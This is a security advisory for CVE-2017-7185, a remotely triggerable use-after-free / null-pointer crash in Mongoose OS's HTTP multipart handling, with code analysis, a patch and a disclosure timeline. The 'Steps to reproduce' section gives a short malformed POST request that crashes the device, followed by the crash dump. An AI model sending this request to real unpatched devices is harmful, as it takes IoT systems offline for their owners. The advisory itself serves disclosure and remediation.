Cesanta Mongoose OS - Use-After-Free

Published
Credit
Risk
2017.04.07
Multiple
High
CWE
CVE
Local
Remote
N/A
CVE-2017-7185
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
5/10
2.9/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
None
None
Partial

############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/en/research/advisories/
#
#############################################################
#
# Product: Mongoose OS
# Vendor: Cesanta
# CVE ID: CVE-2017-7185
# CSNC ID: CSNC-2017-003
# Subject: Use-after-free / Denial of Service
# Risk: Medium
# Effect: Remotely exploitable
# Authors:
# Philipp Promeuschel <philipp.promeuschel@compass-security.com>
# Carel van Rooyen <carel.vanrooyen@compass-security.com>
# Stephan Sekula <stephan.sekula@compass-security.com>
# Date: 2017-04-03
#
#############################################################

Introduction:
-------------
Cesanta's Mongoose OS [1] - an open source operating system for the Internet of Things. Supported micro controllers:
* ESP32
* ESP8266
* STM32
* TI CC3200

Additionally, Amazon AWS IoT is integrated for Cloud connectivity. Developers can write applications in C or JavaScript (the latter by using the v7 component of Mongoose OS).

Affected versions:
---------
Vulnerable:
* <= Release 1.2
Not vulnerable:
* Patched in current dev / master branch
Not tested:
* N/A

Technical Description
---------------------
The handling of HTTP-Multipart boundary [3] headers does not properly close connections when malformed requests are sent to the Mongoose server.
This leads to a use-after-free/null-pointer-de-reference vulnerability, causing the Mongoose HTTP server to crash. As a result, the entire system is rendered unusable.


The mg_parse_multipart [2] function performs proper checks for empty boundaries, but, since the flag "MG_F_CLOSE_IMMEDIATELY" does not have any effect, mg_http_multipart_continue() is called:
--------------->8---------------
void mg_http_handler(struct mg_connection *nc, int ev, void *ev_data) {
[CUT BY COMPASS]
#if MG_ENABLE_HTTP_STREAMING_MULTIPART
if (req_len > 0 && (s = mg_get_http_header(hm, "Content-Type")) != NULL &&
s->len >= 9 && strncmp(s->p, "multipart", 9) == 0) {
mg_http_multipart_begin(nc, hm, req_len); // properly checks for empty boundary
// however, the socket is not closed, and mg_http_multipart_continue() is executed
mg_http_multipart_continue(nc);
return;
}
---------------8<---------------
In the mg_http_multipart_begin function, the boundary is correctly verified:
--------------->8---------------
boundary_len =
mg_http_parse_header(ct, "boundary", boundary, sizeof(boundary));

if (boundary_len == 0) {
/*
* Content type is multipart, but there is no boundary,
* probably malformed request
*/
nc->flags = MG_F_CLOSE_IMMEDIATELY;
DBG(("invalid request"));
goto exit_mp;
}
---------------8<---------------
However, the socket is not closed (even though the flag "MG_F_CLOSE_IMMEDIATELY" has been set), and mg_http_multipart_continue is executed.
In mg_http_multipart_continue(), the method mg_http_multipart_wait_for_boundary() is executed:
---------------8<---------------
static void mg_http_multipart_continue(struct mg_connection *c) {
struct mg_http_proto_data *pd = mg_http_get_proto_data(c);
while (1) {
switch (pd->mp_stream.state) {
case MPS_BEGIN: {
pd->mp_stream.state = MPS_WAITING_FOR_BOUNDARY;
break;
}
case MPS_WAITING_FOR_BOUNDARY: {
if (mg_http_multipart_wait_for_boundary(c) == 0) {
return;
}
break;
}
--------------->8---------------
Then, mg_http_multipart_wait_for_boundary() tries to identify the boundary-string. However, this string has never been initialized, which causes c_strnstr to crash.
---------------8<---------------
static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) {
const char *boundary;
struct mbuf *io = &c->recv_mbuf;
struct mg_http_proto_data *pd = mg_http_get_proto_data(c);

if ((int) io->len < pd->mp_stream.boundary_len + 2) {
return 0;
}

boundary = c_strnstr(io->buf, pd->mp_stream.boundary, io->len);
if (boundary != NULL) {
[CUT BY COMPASS]
--------------->8---------------


Steps to reproduce
-----------------
Request to HTTP server (code running on hardware device):
---------------8<---------------
POST / HTTP/1.1
Connection: keep-alive
Content-Type: multipart/form-data;
Content-Length: 1
1
--------------->8---------------
The above request results in a stack trace on the mongoose console:
---------------8<---------------
Guru Meditation Error of type LoadProhibited occurred on core 0. Exception was unhandled.
Register dump:
PC : 0x400014fd PS : 0x00060330 A0 : 0x801114b4 A1 : 0x3ffbfcf0
A2 : 0x00000000 A3 : 0xfffffffc A4 : 0x000000ff A5 : 0x0000ff00
A6 : 0x00ff0000 A7 : 0xff000000 A8 : 0x00000000 A9 : 0x00000085
A10 : 0xcccccccc A11 : 0x0ccccccc A12 : 0x00000001 A13 : 0x00000000
A14 : 0x00000037 A15 : 0x3ffbb3cc SAR : 0x0000000f EXCCAUSE: 0x0000001c
EXCVADDR: 0x00000000 LBEG : 0x400014fd LEND : 0x4000150d LCOUNT : 0xffffffff

Backtrace: 0x400014fd:0x3ffbfcf0 0x401114b4:0x3ffbfd00 0x401136cc:0x3ffbfd30 0x401149ac:0x3ffbfe30 0x40114b71:0x3ffbff00 0x40112b80:0x3ffc00a0 0x40112dc6:0x3ffc00d0 0x40113295:0x3ffc0100 0x4011361a:0x3ffc0170 0x40111716:0x3ffc01d0 0x40103b8f:0x3ffc01f0 0x40105099:0x3ffc0210
--------------->8---------------


Further debugging shows that an uninitialized string has indeed been passed to c_strnstr:
---------------8<---------------
(gdb) info symbol 0x401114b4
c_strnstr + 12 in section .flash.text
(gdb) list *0x401114b4
0x401114b4 is in c_strnstr (/mongoose-os/mongoose/mongoose.c:1720).
warning: Source file is more recent than executable.
1715 }
1716 #endif /* _WIN32 */
1717
1718 /* The simplest O(mn) algorithm. Better implementation are GPLed */
1719 const char *c_strnstr(const char *s, const char *find, size_t slen) WEAK;
1720 const char *c_strnstr(const char *s, const char *find, size_t slen) {
1721 size_t find_length = strlen(find);
1722 size_t i;
1723
1724 for (i = 0; i < slen; i++) {
(gdb) list *0x401136cc
0x401136cc is in mg_http_multipart_continue (/mongoose-os/mongoose/mongoose.c:5893).
5888 mg_http_free_proto_data_mp_stream(&pd->mp_stream);
5889 pd->mp_stream.state = MPS_FINISHED;
5890
5891 return 1;
5892 }
5893
5894 static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) {
5895 const char *boundary;
5896 struct mbuf *io = &c->recv_mbuf;
5897 struct mg_http_proto_data *pd = mg_http_get_proto_data(c);
(gdb)
--------------->8---------------

Workaround / Fix:
-----------------
Apply the following (tested and confirmed) patch:
---------------8<---------------
$ diff --git a/mongoose/mongoose.c b/mongoose/mongoose.c
index 91dc8b9..063f8c6 100644
--- a/mongoose/mongoose.c
+++ b/mongoose/mongoose.c
@@ -5889,6 +5889,12 @@ static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) {
return 0;
}

+ if(pd->mp_stream.boundary == NULL){
+ pd->mp_stream.state = MPS_FINALIZE;
+ LOG(LL_INFO, ("invalid request: boundary not initialized"));
+ return 0;
+ }
+
boundary = c_strnstr(io->buf, pd->mp_stream.boundary, io->len);
if (boundary != NULL) {
const char *boundary_end = (boundary + pd->mp_stream.boundary_len);
--------------->8---------------
The patch has been merged into Mongoose OS on github.com on 2017-04-03 [4]

Timeline:
---------
2017-04-03: Coordinated public disclosure date
2017-04-03: Release of patch
2017-03-20: Initial vendor response, code usage sign-off
2017-03-19: Initial vendor notification
2017-03-19: Assigned CVE-2017-7185
2017-03-11: Confirmation and patching Philipp Promeuschel, Carel van Rooyen
2017-03-08: Initial inspection Philipp Promeuschel, Carel van Rooyen
2017-03-08: Discovery by Philipp Promeuschel

References:
-----------
[1] https://www.cesanta.com/
[2] https://github.com/cesanta/mongoose/blob/66a96410d4336c312de32b1cf5db954aab9ee2ec/mongoose.c#L7760
[3] http://www.ietf.org/rfc/rfc2046.txt
[4] https://github.com/cesanta/mongoose-os/commit/042eb437973a202d00589b13d628181c6de5cf5b

References:

https://github.com/cesanta/mongoose/blob/66a96410d4336c312de32b1cf5db954aab9ee2ec/mongoose.c#L7760
http://www.ietf.org/rfc/rfc2046.txt
https://github.com/cesanta/mongoose-os/commit/042eb437973a202d00589b13d628181c6de5cf5b


See this note in RAW Version

 
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